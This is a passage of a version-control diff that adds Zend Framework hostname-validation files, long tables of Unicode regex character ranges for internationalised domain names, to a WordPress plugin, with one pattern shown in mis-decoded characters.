+'\x{9BA6}\x{9BA7}\x{9BA8}\x{9BA9}\x{9BAA}\x{9BAB}\x{9BAC}\x{9BAD}\x{9BAE}' .
+'\x{9BAF}\x{9BB0}\x{9BB1}\x{9BB2}\x{9BB3}\x{9BB4}\x{9BB5}\x{9BB6}\x{9BB7}' .
+'\x{9BB8}\x{9BB9}\x{9BBA}\x{9BBB}\x{9BBC}\x{9BBD}\x{9BBE}\x{9BBF}\x{9BC0}' .
+'\x{9BC1}\x{9BC3}\x{9BC4}\x{9BC5}\x{9BC6}\x{9BC7}\x{9BC8}\x{9BC9}\x{9BCA}' .
+'\x{9BCB}\x{9BCC}\x{9BCD}\x{9BCE}\x{9BCF}\x{9BD0}\x{9BD1}\x{9BD2}\x{9BD3}' .
+'\x{9BD4}\x{9BD5}\x{9BD6}\x{9BD7}\x{9BD8}\x{9BD9}\x{9BDA}\x{9BDB}\x{9BDC}' .
+'\x{9BDD}\x{9BDE}\x{9BDF}\x{9BE0}\x{9BE1}\x{9BE2}\x{9BE3}\x{9BE4}\x{9BE5}' .
+'\x{9BE6}\x{9BE7}\x{9BE8}\x{9BE9}\x{9BEA}\x{9BEB}\x{9BEC}\x{9BED}\x{9BEE}' .
+'\x{9BEF}\x{9BF0}\x{9BF1}\x{9BF2}\x{9BF3}\x{9BF4}\x{9BF5}\x{9BF7}\x{9BF8}' .
+'\x{9BF9}\x{9BFA}\x{9BFB}\x{9BFC}\x{9BFD}\x{9BFE}\x{9BFF}\x{9C02}\x{9C05}' .
+'\x{9C06}\x{9C07}\x{9C08}\x{9C09}\x{9C0A}\x{9C0B}\x{9C0C}\x{9C0D}\x{9C0E}' .
+'\x{9C0F}\x{9C10}\x{9C11}\x{9C12}\x{9C13}\x{9C14}\x{9C15}\x{9C16}\x{9C17}' .
+'\x{9C18}\x{9C19}\x{9C1A}\x{9C1B}\x{9C1C}\x{9C1D}\x{9C1E}\x{9C1F}\x{9C20}' .
+'\x{9C21}\x{9C22}\x{9C23}\x{9C24}\x{9C25}\x{9C26}\x{9C27}\x{9C28}\x{9C29}' .
+'\x{9C2A}\x{9C2B}\x{9C2C}\x{9C2D}\x{9C2F}\x{9C30}\x{9C31}\x{9C32}\x{9C33}' .
+'\x{9C34}\x{9C35}\x{9C36}\x{9C37}\x{9C38}\x{9C39}\x{9C3A}\x{9C3B}\x{9C3C}' .
+'\x{9C3D}\x{9C3E}\x{9C3F}\x{9C40}\x{9C41}\x{9C43}\x{9C44}\x{9C45}\x{9C46}' .
+'\x{9C47}\x{9C48}\x{9C49}\x{9C4A}\x{9C4B}\x{9C4C}\x{9C4D}\x{9C4E}\x{9C50}' .
+'\x{9C52}\x{9C53}\x{9C54}\x{9C55}\x{9C56}\x{9C57}\x{9C58}\x{9C59}\x{9C5A}' .
+'\x{9C5B}\x{9C5C}\x{9C5D}\x{9C5E}\x{9C5F}\x{9C60}\x{9C62}\x{9C63}\x{9C65}' .
+'\x{9C66}\x{9C67}\x{9C68}\x{9C69}\x{9C6A}\x{9C6B}\x{9C6C}\x{9C6D}\x{9C6E}' .
+'\x{9C6F}\x{9C70}\x{9C71}\x{9C72}\x{9C73}\x{9C74}\x{9C75}\x{9C77}\x{9C78}' .
+'\x{9C79}\x{9C7A}\x{9C7C}\x{9C7D}\x{9C7E}\x{9C7F}\x{9C80}\x{9C81}\x{9C82}' .
+'\x{9C83}\x{9C84}\x{9C85}\x{9C86}\x{9C87}\x{9C88}\x{9C89}\x{9C8A}\x{9C8B}' .
+'\x{9C8C}\x{9C8D}\x{9C8E}\x{9C8F}\x{9C90}\x{9C91}\x{9C92}\x{9C93}\x{9C94}' .
+'\x{9C95}\x{9C96}\x{9C97}\x{9C98}\x{9C99}\x{9C9A}\x{9C9B}\x{9C9C}\x{9C9D}' .
+'\x{9C9E}\x{9C9F}\x{9CA0}\x{9CA1}\x{9CA2}\x{9CA3}\x{9CA4}\x{9CA5}\x{9CA6}' .
+'\x{9CA7}\x{9CA8}\x{9CA9}\x{9CAA}\x{9CAB}\x{9CAC}\x{9CAD}\x{9CAE}\x{9CAF}' .
+'\x{9CB0}\x{9CB1}\x{9CB2}\x{9CB3}\x{9CB4}\x{9CB5}\x{9CB6}\x{9CB7}\x{9CB8}' .
+'\x{9CB9}\x{9CBA}\x{9CBB}\x{9CBC}\x{9CBD}\x{9CBE}\x{9CBF}\x{9CC0}\x{9CC1}' .
+'\x{9CC2}\x{9CC3}\x{9CC4}\x{9CC5}\x{9CC6}\x{9CC7}\x{9CC8}\x{9CC9}\x{9CCA}' .
+'\x{9CCB}\x{9CCC}\x{9CCD}\x{9CCE}\x{9CCF}\x{9CD0}\x{9CD1}\x{9CD2}\x{9CD3}' .
+'\x{9CD4}\x{9CD5}\x{9CD6}\x{9CD7}\x{9CD8}\x{9CD9}\x{9CDA}\x{9CDB}\x{9CDC}' .
+'\x{9CDD}\x{9CDE}\x{9CDF}\x{9CE0}\x{9CE1}\x{9CE2}\x{9CE3}\x{9CE4}\x{9CE5}' .
+'\x{9CE6}\x{9CE7}\x{9CE8}\x{9CE9}\x{9CEA}\x{9CEB}\x{9CEC}\x{9CED}\x{9CEE}' .
+'\x{9CEF}\x{9CF0}\x{9CF1}\x{9CF2}\x{9CF3}\x{9CF4}\x{9CF5}\x{9CF6}\x{9CF7}' .
+'\x{9CF8}\x{9CF9}\x{9CFA}\x{9CFB}\x{9CFC}\x{9CFD}\x{9CFE}\x{9CFF}\x{9D00}' .
+'\x{9D01}\x{9D02}\x{9D03}\x{9D04}\x{9D05}\x{9D06}\x{9D07}\x{9D08}\x{9D09}' .
+'\x{9D0A}\x{9D0B}\x{9D0F}\x{9D10}\x{9D12}\x{9D13}\x{9D14}\x{9D15}\x{9D16}' .
+'\x{9D17}\x{9D18}\x{9D19}\x{9D1A}\x{9D1B}\x{9D1C}\x{9D1D}\x{9D1E}\x{9D1F}' .
+'\x{9D20}\x{9D21}\x{9D22}\x{9D23}\x{9D24}\x{9D25}\x{9D26}\x{9D28}\x{9D29}' .
+'\x{9D2B}\x{9D2D}\x{9D2E}\x{9D2F}\x{9D30}\x{9D31}\x{9D32}\x{9D33}\x{9D34}' .
+'\x{9D36}\x{9D37}\x{9D38}\x{9D39}\x{9D3A}\x{9D3B}\x{9D3D}\x{9D3E}\x{9D3F}' .
+'\x{9D40}\x{9D41}\x{9D42}\x{9D43}\x{9D45}\x{9D46}\x{9D47}\x{9D48}\x{9D49}' .
+'\x{9D4A}\x{9D4B}\x{9D4C}\x{9D4D}\x{9D4E}\x{9D4F}\x{9D50}\x{9D51}\x{9D52}' .
+'\x{9D53}\x{9D54}\x{9D55}\x{9D56}\x{9D57}\x{9D58}\x{9D59}\x{9D5A}\x{9D5B}' .
+'\x{9D5C}\x{9D5D}\x{9D5E}\x{9D5F}\x{9D60}\x{9D61}\x{9D62}\x{9D63}\x{9D64}' .
+'\x{9D65}\x{9D66}\x{9D67}\x{9D68}\x{9D69}\x{9D6A}\x{9D6B}\x{9D6C}\x{9D6E}' .
+'\x{9D6F}\x{9D70}\x{9D71}\x{9D72}\x{9D73}\x{9D74}\x{9D75}\x{9D76}\x{9D77}' .
+'\x{9D78}\x{9D79}\x{9D7A}\x{9D7B}\x{9D7C}\x{9D7D}\x{9D7E}\x{9D7F}\x{9D80}' .
+'\x{9D81}\x{9D82}\x{9D83}\x{9D84}\x{9D85}\x{9D86}\x{9D87}\x{9D88}\x{9D89}' .
+'\x{9D8A}\x{9D8B}\x{9D8C}\x{9D8D}\x{9D8E}\x{9D90}\x{9D91}\x{9D92}\x{9D93}' .
+'\x{9D94}\x{9D96}\x{9D97}\x{9D98}\x{9D99}\x{9D9A}\x{9D9B}\x{9D9C}\x{9D9D}' .
+'\x{9D9E}\x{9D9F}\x{9DA0}\x{9DA1}\x{9DA2}\x{9DA3}\x{9DA4}\x{9DA5}\x{9DA6}' .
+'\x{9DA7}\x{9DA8}\x{9DA9}\x{9DAA}\x{9DAB}\x{9DAC}\x{9DAD}\x{9DAF}\x{9DB0}' .
+'\x{9DB1}\x{9DB2}\x{9DB3}\x{9DB4}\x{9DB5}\x{9DB6}\x{9DB7}\x{9DB8}\x{9DB9}' .
+'\x{9DBA}\x{9DBB}\x{9DBC}\x{9DBE}\x{9DBF}\x{9DC1}\x{9DC2}\x{9DC3}\x{9DC4}' .
+'\x{9DC5}\x{9DC7}\x{9DC8}\x{9DC9}\x{9DCA}\x{9DCB}\x{9DCC}\x{9DCD}\x{9DCE}' .
+'\x{9DCF}\x{9DD0}\x{9DD1}\x{9DD2}\x{9DD3}\x{9DD4}\x{9DD5}\x{9DD6}\x{9DD7}' .
+'\x{9DD8}\x{9DD9}\x{9DDA}\x{9DDB}\x{9DDC}\x{9DDD}\x{9DDE}\x{9DDF}\x{9DE0}' .
+'\x{9DE1}\x{9DE2}\x{9DE3}\x{9DE4}\x{9DE5}\x{9DE6}\x{9DE7}\x{9DE8}\x{9DE9}' .
+'\x{9DEB}\x{9DEC}\x{9DED}\x{9DEE}\x{9DEF}\x{9DF0}\x{9DF1}\x{9DF2}\x{9DF3}' .
+'\x{9DF4}\x{9DF5}\x{9DF6}\x{9DF7}\x{9DF8}\x{9DF9}\x{9DFA}\x{9DFB}\x{9DFD}' .
+'\x{9DFE}\x{9DFF}\x{9E00}\x{9E01}\x{9E02}\x{9E03}\x{9E04}\x{9E05}\x{9E06}' .
+'\x{9E07}\x{9E08}\x{9E09}\x{9E0A}\x{9E0B}\x{9E0C}\x{9E0D}\x{9E0F}\x{9E10}' .
+'\x{9E11}\x{9E12}\x{9E13}\x{9E14}\x{9E15}\x{9E17}\x{9E18}\x{9E19}\x{9E1A}' .
+'\x{9E1B}\x{9E1D}\x{9E1E}\x{9E1F}\x{9E20}\x{9E21}\x{9E22}\x{9E23}\x{9E24}' .
+'\x{9E25}\x{9E26}\x{9E27}\x{9E28}\x{9E29}\x{9E2A}\x{9E2B}\x{9E2C}\x{9E2D}' .
+'\x{9E2E}\x{9E2F}\x{9E30}\x{9E31}\x{9E32}\x{9E33}\x{9E34}\x{9E35}\x{9E36}' .
+'\x{9E37}\x{9E38}\x{9E39}\x{9E3A}\x{9E3B}\x{9E3C}\x{9E3D}\x{9E3E}\x{9E3F}' .
+'\x{9E40}\x{9E41}\x{9E42}\x{9E43}\x{9E44}\x{9E45}\x{9E46}\x{9E47}\x{9E48}' .
+'\x{9E49}\x{9E4A}\x{9E4B}\x{9E4C}\x{9E4D}\x{9E4E}\x{9E4F}\x{9E50}\x{9E51}' .
+'\x{9E52}\x{9E53}\x{9E54}\x{9E55}\x{9E56}\x{9E57}\x{9E58}\x{9E59}\x{9E5A}' .
+'\x{9E5B}\x{9E5C}\x{9E5D}\x{9E5E}\x{9E5F}\x{9E60}\x{9E61}\x{9E62}\x{9E63}' .
+'\x{9E64}\x{9E65}\x{9E66}\x{9E67}\x{9E68}\x{9E69}\x{9E6A}\x{9E6B}\x{9E6C}' .
+'\x{9E6D}\x{9E6E}\x{9E6F}\x{9E70}\x{9E71}\x{9E72}\x{9E73}\x{9E74}\x{9E75}' .
+'\x{9E76}\x{9E77}\x{9E79}\x{9E7A}\x{9E7C}\x{9E7D}\x{9E7E}\x{9E7F}\x{9E80}' .
+'\x{9E81}\x{9E82}\x{9E83}\x{9E84}\x{9E85}\x{9E86}\x{9E87}\x{9E88}\x{9E89}' .
+'\x{9E8A}\x{9E8B}\x{9E8C}\x{9E8D}\x{9E8E}\x{9E91}\x{9E92}\x{9E93}\x{9E94}' .
+'\x{9E96}\x{9E97}\x{9E99}\x{9E9A}\x{9E9B}\x{9E9C}\x{9E9D}\x{9E9F}\x{9EA0}' .
+'\x{9EA1}\x{9EA3}\x{9EA4}\x{9EA5}\x{9EA6}\x{9EA7}\x{9EA8}\x{9EA9}\x{9EAA}' .
+'\x{9EAD}\x{9EAE}\x{9EAF}\x{9EB0}\x{9EB2}\x{9EB3}\x{9EB4}\x{9EB5}\x{9EB6}' .
+'\x{9EB7}\x{9EB8}\x{9EBB}\x{9EBC}\x{9EBD}\x{9EBE}\x{9EBF}\x{9EC0}\x{9EC1}' .
+'\x{9EC2}\x{9EC3}\x{9EC4}\x{9EC5}\x{9EC6}\x{9EC7}\x{9EC8}\x{9EC9}\x{9ECA}' .
+'\x{9ECB}\x{9ECC}\x{9ECD}\x{9ECE}\x{9ECF}\x{9ED0}\x{9ED1}\x{9ED2}\x{9ED3}' .
+'\x{9ED4}\x{9ED5}\x{9ED6}\x{9ED7}\x{9ED8}\x{9ED9}\x{9EDA}\x{9EDB}\x{9EDC}' .
+'\x{9EDD}\x{9EDE}\x{9EDF}\x{9EE0}\x{9EE1}\x{9EE2}\x{9EE3}\x{9EE4}\x{9EE5}' .
+'\x{9EE6}\x{9EE7}\x{9EE8}\x{9EE9}\x{9EEA}\x{9EEB}\x{9EED}\x{9EEE}\x{9EEF}' .
+'\x{9EF0}\x{9EF2}\x{9EF3}\x{9EF4}\x{9EF5}\x{9EF6}\x{9EF7}\x{9EF8}\x{9EF9}' .
+'\x{9EFA}\x{9EFB}\x{9EFC}\x{9EFD}\x{9EFE}\x{9EFF}\x{9F00}\x{9F01}\x{9F02}' .
+'\x{9F04}\x{9F05}\x{9F06}\x{9F07}\x{9F08}\x{9F09}\x{9F0A}\x{9F0B}\x{9F0C}' .
+'\x{9F0D}\x{9F0E}\x{9F0F}\x{9F10}\x{9F12}\x{9F13}\x{9F15}\x{9F16}\x{9F17}' .
+'\x{9F18}\x{9F19}\x{9F1A}\x{9F1B}\x{9F1C}\x{9F1D}\x{9F1E}\x{9F1F}\x{9F20}' .
+'\x{9F22}\x{9F23}\x{9F24}\x{9F25}\x{9F27}\x{9F28}\x{9F29}\x{9F2A}\x{9F2B}' .
+'\x{9F2C}\x{9F2D}\x{9F2E}\x{9F2F}\x{9F30}\x{9F31}\x{9F32}\x{9F33}\x{9F34}' .
+'\x{9F35}\x{9F36}\x{9F37}\x{9F38}\x{9F39}\x{9F3A}\x{9F3B}\x{9F3C}\x{9F3D}' .
+'\x{9F3E}\x{9F3F}\x{9F40}\x{9F41}\x{9F42}\x{9F43}\x{9F44}\x{9F46}\x{9F47}' .
+'\x{9F48}\x{9F49}\x{9F4A}\x{9F4B}\x{9F4C}\x{9F4D}\x{9F4E}\x{9F4F}\x{9F50}' .
+'\x{9F51}\x{9F52}\x{9F54}\x{9F55}\x{9F56}\x{9F57}\x{9F58}\x{9F59}\x{9F5A}' .
+'\x{9F5B}\x{9F5C}\x{9F5D}\x{9F5E}\x{9F5F}\x{9F60}\x{9F61}\x{9F63}\x{9F64}' .
+'\x{9F65}\x{9F66}\x{9F67}\x{9F68}\x{9F69}\x{9F6A}\x{9F6B}\x{9F6C}\x{9F6E}' .
+'\x{9F6F}\x{9F70}\x{9F71}\x{9F72}\x{9F73}\x{9F74}\x{9F75}\x{9F76}\x{9F77}' .
+'\x{9F78}\x{9F79}\x{9F7A}\x{9F7B}\x{9F7C}\x{9F7D}\x{9F7E}\x{9F7F}\x{9F80}' .
+'\x{9F81}\x{9F82}\x{9F83}\x{9F84}\x{9F85}\x{9F86}\x{9F87}\x{9F88}\x{9F89}' .
+'\x{9F8A}\x{9F8B}\x{9F8C}\x{9F8D}\x{9F8E}\x{9F8F}\x{9F90}\x{9F91}\x{9F92}' .
+'\x{9F93}\x{9F94}\x{9F95}\x{9F96}\x{9F97}\x{9F98}\x{9F99}\x{9F9A}\x{9F9B}' .
+'\x{9F9C}\x{9F9D}\x{9F9E}\x{9F9F}\x{9FA0}\x{9FA2}\x{9FA4}\x{9FA5}]{1,20}$/iu');
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Com.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Com.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Com.php	(revision 44)
@@ -0,0 +1,198 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Hostname.php 14417 2009-03-21 22:27:38Z thomas $
+ */
+
+/**
+ * Ressource file for com and net idn validation
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+return array(
+    1  => '/^[\x{002d}0-9\x{0400}-\x{052f}]{1,63}$/iu',
+    2  => '/^[\x{002d}0-9\x{0370}-\x{03ff}]{1,63}$/iu',
+    3  => '/^[\x{002d}0-9a-z\x{ac00}-\x{d7a3}]{1,17}$/iu',
+    4  => '/^[\x{002d}0-9a-zÂ·Ã -Ã¶Ãž-Ã¿ÄÄÄ
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¡Ä£Ä¥Ä§Ä©Ä«Ä­Ä¯Ä±ÄµÄ·ÄžÄºÄŒÄŸÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ¡Å£Å¥Å§Å©Å«Å­Å¯Å±Å³ÅµÅ·ÅºÅŒÅŸ]{1,63}$/iu',
+    5  => '/^[\x{0021}-\x{007E}\x{3400}-\x{3401}\x{3404}-\x{3406}\x{340C}\x{3416}\x{341C}' .
+'\x{3421}\x{3424}\x{3428}-\x{3429}\x{342B}-\x{342E}\x{3430}-\x{3434}\x{3436}' .
+'\x{3438}-\x{343C}\x{343E}\x{3441}-\x{3445}\x{3447}\x{3449}-\x{3451}\x{3453}' .
+'\x{3457}-\x{345F}\x{3463}-\x{3467}\x{346E}-\x{3471}\x{3473}-\x{3477}\x{3479}-\x{348E}\x{3491}-\x{3497}' .
+'\x{3499}-\x{34A1}\x{34A4}-\x{34AD}\x{34AF}-\x{34B0}\x{34B2}-\x{34BF}\x{34C2}-\x{34C5}\x{34C7}-\x{34CC}' .
+'\x{34CE}-\x{34D1}\x{34D3}-\x{34D8}\x{34DA}-\x{34E4}\x{34E7}-\x{34E9}\x{34EC}-\x{34EF}\x{34F1}-\x{34FE}' .
+'\x{3500}-\x{3507}\x{350A}-\x{3513}\x{3515}\x{3517}-\x{351A}\x{351C}-\x{351E}\x{3520}-\x{352A}' .
+'\x{352C}-\x{3552}\x{3554}-\x{355C}\x{355E}-\x{3567}\x{3569}-\x{3573}\x{3575}-\x{357C}\x{3580}-\x{3588}' .
+'\x{358F}-\x{3598}\x{359E}-\x{35AB}\x{35B4}-\x{35CD}\x{35D0}\x{35D3}-\x{35DC}\x{35E2}-\x{35ED}' .
+'\x{35F0}-\x{35F6}\x{35FB}-\x{3602}\x{3605}-\x{360E}\x{3610}-\x{3611}\x{3613}-\x{3616}\x{3619}-\x{362D}' .
+'\x{362F}-\x{3634}\x{3636}-\x{363B}\x{363F}-\x{3645}\x{3647}-\x{364B}\x{364D}-\x{3653}\x{3655}' .
+'\x{3659}-\x{365E}\x{3660}-\x{3665}\x{3667}-\x{367C}\x{367E}\x{3680}-\x{3685}\x{3687}' .
+'\x{3689}-\x{3690}\x{3692}-\x{3698}\x{369A}\x{369C}-\x{36AE}\x{36B0}-\x{36BF}\x{36C1}-\x{36C5}' .
+'\x{36C9}-\x{36CA}\x{36CD}-\x{36DE}\x{36E1}-\x{36E2}\x{36E5}-\x{36FE}\x{3701}-\x{3713}\x{3715}-\x{371E}' .
+'\x{3720}-\x{372C}\x{372E}-\x{3745}\x{3747}-\x{3748}\x{374A}\x{374C}-\x{3759}\x{375B}-\x{3760}' .
+'\x{3762}-\x{3767}\x{3769}-\x{3772}\x{3774}-\x{378C}\x{378F}-\x{379C}\x{379F}\x{37A1}-\x{37AD}' .
+'\x{37AF}-\x{37B7}\x{37B9}-\x{37C1}\x{37C3}-\x{37C5}\x{37C7}-\x{37D4}\x{37D6}-\x{37E0}\x{37E2}' .
+'\x{37E5}-\x{37ED}\x{37EF}-\x{37F6}\x{37F8}-\x{3802}\x{3804}-\x{381D}\x{3820}-\x{3822}\x{3825}-\x{382A}' .
+'\x{382D}-\x{382F}\x{3831}-\x{3832}\x{3834}-\x{384C}\x{384E}-\x{3860}\x{3862}-\x{3863}\x{3865}-\x{386B}' .
+'\x{386D}-\x{3886}\x{3888}-\x{38A1}\x{38A3}\x{38A5}-\x{38AA}\x{38AC}\x{38AE}-\x{38B0}' .
+'\x{38B2}-\x{38B6}\x{38B8}\x{38BA}-\x{38BE}\x{38C0}-\x{38C9}\x{38CB}-\x{38D4}\x{38D8}-\x{38E0}' .
+'\x{38E2}-\x{38E6}\x{38EB}-\x{38ED}\x{38EF}-\x{38F2}\x{38F5}-\x{38F7}\x{38FA}-\x{38FF}\x{3901}-\x{392A}' .
+'\x{392C}\x{392E}-\x{393B}\x{393E}-\x{3956}\x{395A}-\x{3969}\x{396B}-\x{397A}\x{397C}-\x{3987}' .
+'\x{3989}-\x{3998}\x{399A}-\x{39B0}\x{39B2}\x{39B4}-\x{39D0}\x{39D2}-\x{39DA}\x{39DE}-\x{39DF}' .
+'\x{39E1}-\x{39EF}\x{39F1}-\x{3A17}\x{3A19}-\x{3A2A}\x{3A2D}-\x{3A40}\x{3A43}-\x{3A4E}\x{3A50}' .
+'\x{3A52}-\x{3A5E}\x{3A60}-\x{3A6D}\x{3A6F}-\x{3A77}\x{3A79}-\x{3A82}\x{3A84}-\x{3A85}\x{3A87}-\x{3A89}' .
+'\x{3A8B}-\x{3A8F}\x{3A91}-\x{3A93}\x{3A95}-\x{3A96}\x{3A9A}\x{3A9C}-\x{3AA6}\x{3AA8}-\x{3AA9}' .
+'\x{3AAB}-\x{3AB1}\x{3AB4}-\x{3ABC}\x{3ABE}-\x{3AC5}\x{3ACA}-\x{3ACB}\x{3ACD}-\x{3AD5}\x{3AD7}-\x{3AE1}' .
+'\x{3AE4}-\x{3AE7}\x{3AE9}-\x{3AEC}\x{3AEE}-\x{3AFD}\x{3B01}-\x{3B10}\x{3B12}-\x{3B15}\x{3B17}-\x{3B1E}' .
+'\x{3B20}-\x{3B23}\x{3B25}-\x{3B27}\x{3B29}-\x{3B36}\x{3B38}-\x{3B39}\x{3B3B}-\x{3B3C}\x{3B3F}' .
+'\x{3B41}-\x{3B44}\x{3B47}-\x{3B4C}\x{3B4E}\x{3B51}-\x{3B55}\x{3B58}-\x{3B62}\x{3B68}-\x{3B72}' .
+'\x{3B78}-\x{3B88}\x{3B8B}-\x{3B9F}\x{3BA1}\x{3BA3}-\x{3BBA}\x{3BBC}\x{3BBF}-\x{3BD0}' .
+'\x{3BD3}-\x{3BE6}\x{3BEA}-\x{3BFB}\x{3BFE}-\x{3C12}\x{3C14}-\x{3C1B}\x{3C1D}-\x{3C37}\x{3C39}-\x{3C4F}' .
+'\x{3C52}\x{3C54}-\x{3C5C}\x{3C5E}-\x{3C68}\x{3C6A}-\x{3C76}\x{3C78}-\x{3C8F}\x{3C91}-\x{3CA8}' .
+'\x{3CAA}-\x{3CAD}\x{3CAF}-\x{3CBE}\x{3CC0}-\x{3CC8}\x{3CCA}-\x{3CD3}\x{3CD6}-\x{3CE0}\x{3CE4}-\x{3CEE}' .
+'\x{3CF3}-\x{3D0A}\x{3D0E}-\x{3D1E}\x{3D20}-\x{3D21}\x{3D25}-\x{3D38}\x{3D3B}-\x{3D46}\x{3D4A}-\x{3D59}' .
+'\x{3D5D}-\x{3D7B}\x{3D7D}-\x{3D81}\x{3D84}-\x{3D88}\x{3D8C}-\x{3D8F}\x{3D91}-\x{3D98}\x{3D9A}-\x{3D9C}' .
+'\x{3D9E}-\x{3DA1}\x{3DA3}-\x{3DB0}\x{3DB2}-\x{3DB5}\x{3DB9}-\x{3DBC}\x{3DBE}-\x{3DCB}\x{3DCD}-\x{3DDB}' .
+'\x{3DDF}-\x{3DE8}\x{3DEB}-\x{3DF0}\x{3DF3}-\x{3DF9}\x{3DFB}-\x{3DFC}\x{3DFE}-\x{3E05}\x{3E08}-\x{3E33}' .
+'\x{3E35}-\x{3E3E}\x{3E40}-\x{3E47}\x{3E49}-\x{3E67}\x{3E6B}-\x{3E6F}\x{3E71}-\x{3E85}\x{3E87}-\x{3E8C}' .
+'\x{3E8E}-\x{3E98}\x{3E9A}-\x{3EA1}\x{3EA3}-\x{3EAE}\x{3EB0}-\x{3EB5}\x{3EB7}-\x{3EBA}\x{3EBD}' .
+'\x{3EBF}-\x{3EC4}\x{3EC7}-\x{3ECE}\x{3ED1}-\x{3ED7}\x{3ED9}-\x{3EDA}\x{3EDD}-\x{3EE3}\x{3EE7}-\x{3EE8}' .
+'\x{3EEB}-\x{3EF2}\x{3EF5}-\x{3EFF}\x{3F01}-\x{3F02}\x{3F04}-\x{3F07}\x{3F09}-\x{3F44}\x{3F46}-\x{3F4E}' .
+'\x{3F50}-\x{3F53}\x{3F55}-\x{3F72}\x{3F74}-\x{3F75}\x{3F77}-\x{3F7B}\x{3F7D}-\x{3FB0}\x{3FB6}-\x{3FBF}' .
+'\x{3FC1}-\x{3FCF}\x{3FD1}-\x{3FD3}\x{3FD5}-\x{3FDF}\x{3FE1}-\x{400B}\x{400D}-\x{401C}\x{401E}-\x{4024}' .
+'\x{4027}-\x{403F}\x{4041}-\x{4060}\x{4062}-\x{4069}\x{406B}-\x{408A}\x{408C}-\x{40A7}\x{40A9}-\x{40B4}' .
+'\x{40B6}-\x{40C2}\x{40C7}-\x{40CF}\x{40D1}-\x{40DE}\x{40E0}-\x{40E7}\x{40E9}-\x{40EE}\x{40F0}-\x{40FB}' .
+'\x{40FD}-\x{4109}\x{410B}-\x{4115}\x{4118}-\x{411D}\x{411F}-\x{4122}\x{4124}-\x{4133}\x{4136}-\x{4138}' .
+'\x{413A}-\x{4148}\x{414A}-\x{4169}\x{416C}-\x{4185}\x{4188}-\x{418B}\x{418D}-\x{41AD}\x{41AF}-\x{41B3}' .
+'\x{41B5}-\x{41C3}\x{41C5}-\x{41C9}\x{41CB}-\x{41F2}\x{41F5}-\x{41FE}\x{4200}-\x{4227}\x{422A}-\x{4246}' .
+'\x{4248}-\x{4263}\x{4265}-\x{428B}\x{428D}-\x{42A1}\x{42A3}-\x{42C4}\x{42C8}-\x{42DC}\x{42DE}-\x{430A}' .
+'\x{430C}-\x{4335}\x{4337}\x{4342}-\x{435F}\x{4361}-\x{439A}\x{439C}-\x{439D}\x{439F}-\x{43A4}' .
+'\x{43A6}-\x{43EC}\x{43EF}-\x{4405}\x{4407}-\x{4429}\x{442B}-\x{4455}\x{4457}-\x{4468}\x{446A}-\x{446D}' .
+'\x{446F}-\x{4476}\x{4479}-\x{447D}\x{447F}-\x{4486}\x{4488}-\x{4490}\x{4492}-\x{4498}\x{449A}-\x{44AD}' .
+'\x{44B0}-\x{44BD}\x{44C1}-\x{44D3}\x{44D6}-\x{44E7}\x{44EA}\x{44EC}-\x{44FA}\x{44FC}-\x{4541}' .
+'\x{4543}-\x{454F}\x{4551}-\x{4562}\x{4564}-\x{4575}\x{4577}-\x{45AB}\x{45AD}-\x{45BD}\x{45BF}-\x{45D5}' .
+'\x{45D7}-\x{45EC}\x{45EE}-\x{45F2}\x{45F4}-\x{45FA}\x{45FC}-\x{461A}\x{461C}-\x{461D}\x{461F}-\x{4631}' .
+'\x{4633}-\x{4649}\x{464C}\x{464E}-\x{4652}\x{4654}-\x{466A}\x{466C}-\x{4675}\x{4677}-\x{467A}' .
+'\x{467C}-\x{4694}\x{4696}-\x{46A3}\x{46A5}-\x{46AB}\x{46AD}-\x{46D2}\x{46D4}-\x{4723}\x{4729}-\x{4732}' .
+'\x{4734}-\x{4758}\x{475A}\x{475C}-\x{478B}\x{478D}\x{4791}-\x{47B1}\x{47B3}-\x{47F1}' .
+'\x{47F3}-\x{480B}\x{480D}-\x{4815}\x{4817}-\x{4839}\x{483B}-\x{4870}\x{4872}-\x{487A}\x{487C}-\x{487F}' .
+'\x{4883}-\x{488E}\x{4890}-\x{4896}\x{4899}-\x{48A2}\x{48A4}-\x{48B9}\x{48BB}-\x{48C8}\x{48CA}-\x{48D1}' .
+'\x{48D3}-\x{48E5}\x{48E7}-\x{48F2}\x{48F4}-\x{48FF}\x{4901}-\x{4922}\x{4924}-\x{4928}\x{492A}-\x{4931}' .
+'\x{4933}-\x{495B}\x{495D}-\x{4978}\x{497A}\x{497D}\x{4982}-\x{4983}\x{4985}-\x{49A8}' .
+'\x{49AA}-\x{49AF}\x{49B1}-\x{49B7}\x{49B9}-\x{49BD}\x{49C1}-\x{49C7}\x{49C9}-\x{49CE}\x{49D0}-\x{49E8}' .
+'\x{49EA}\x{49EC}\x{49EE}-\x{4A19}\x{4A1B}-\x{4A43}\x{4A45}-\x{4A4D}\x{4A4F}-\x{4A9E}' .
+'\x{4AA0}-\x{4AA9}\x{4AAB}-\x{4B4E}\x{4B50}-\x{4B5B}\x{4B5D}-\x{4B69}\x{4B6B}-\x{4BC2}\x{4BC6}-\x{4BE8}' .
+'\x{4BEA}-\x{4BFA}\x{4BFC}-\x{4C06}\x{4C08}-\x{4C2D}\x{4C2F}-\x{4C32}\x{4C34}-\x{4C35}\x{4C37}-\x{4C69}' .
